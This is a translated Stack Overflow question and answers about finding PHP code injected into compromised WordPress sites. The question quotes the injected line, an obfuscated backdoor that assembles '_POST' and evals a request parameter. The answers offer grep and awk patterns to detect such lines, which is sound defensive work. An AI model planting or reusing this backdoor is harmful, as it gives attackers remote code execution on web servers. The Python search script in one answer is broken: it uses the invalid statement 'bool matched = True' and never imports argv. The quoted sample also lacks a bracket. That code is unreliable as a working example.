繁体   English   中英

在Linux Shell脚本上需要帮助以查找字符串模式

[英]Need help on Linux Shell Script to find a pattern of strings

grep是一个出色的实用程序,但是当涉及到此特定任务时,我发现没有任何Linux命令可用。

在我的服务器中,许多被入侵的文件主要注入所有的wordpress网站上。 模式通常是这样的。

$qV="stop_";$s20=strtoupper($qV[4].$qV[3].$qV[2].$qV[0].$qV[1]);if(isset(${$s20}'q5dfb07'])) { eval(${$s20}['q5dfb07']); }

现在,我正在寻找可以在一行中找到以下字符串的linux命令。 isset,eval,[0],[1],[2],[3],这些字符串可以任意顺序出现。

我认为,使用我们可以做到的,例如grep eval $ name | grep strto | grep isset

您可以尝试使用此grep -P

grep -P '(?=.*?isset)(?=.*?eval)(?=.*?\[\d+\])' file.php

或者,如果您没有grep则可以使用awk

awk '/isset/ && /eval/ && /\[[0-9]+\]/' file.php

根据此处提供的信息: http : //www.thegeekstuff.com/2011/10/grep-or-and-not-operators/

如果顺序很重要,请使用以下命令:

grep -E 'pattern1.*pattern2' filename

如果顺序无关紧要,则需要像这样格式化:

grep -E 'pattern1.*pattern2|pattern2.*pattern1' filename

如您所料,这可能会变得很丑陋。 我认为最容易理解的是您的建议:

grep -E 'pattern1' filename | grep -E 'pattern2'

但是,一个简单的python程序可以帮助您:

#!/usr/bin/env python
keys = argv[1:-1]
with open(argv[-1], 'r') as fd:
  for line in fd:
    bool matched = True
    for key in keys:
      if key not in line:
        matched = False
        break
    if matched:
      print(line)

您可以这样运行:

python search.py pattern1 pattern2 pattern3 filename

暂无
暂无

声明:本站的技术帖子网页,遵循CC BY-SA 4.0协议,如果您需要转载,请注明本站网址或者原文地址。任何问题请咨询:yoyou2525@163.com.

 
粤ICP备18138465号  © 2020-2024 STACKOOM.COM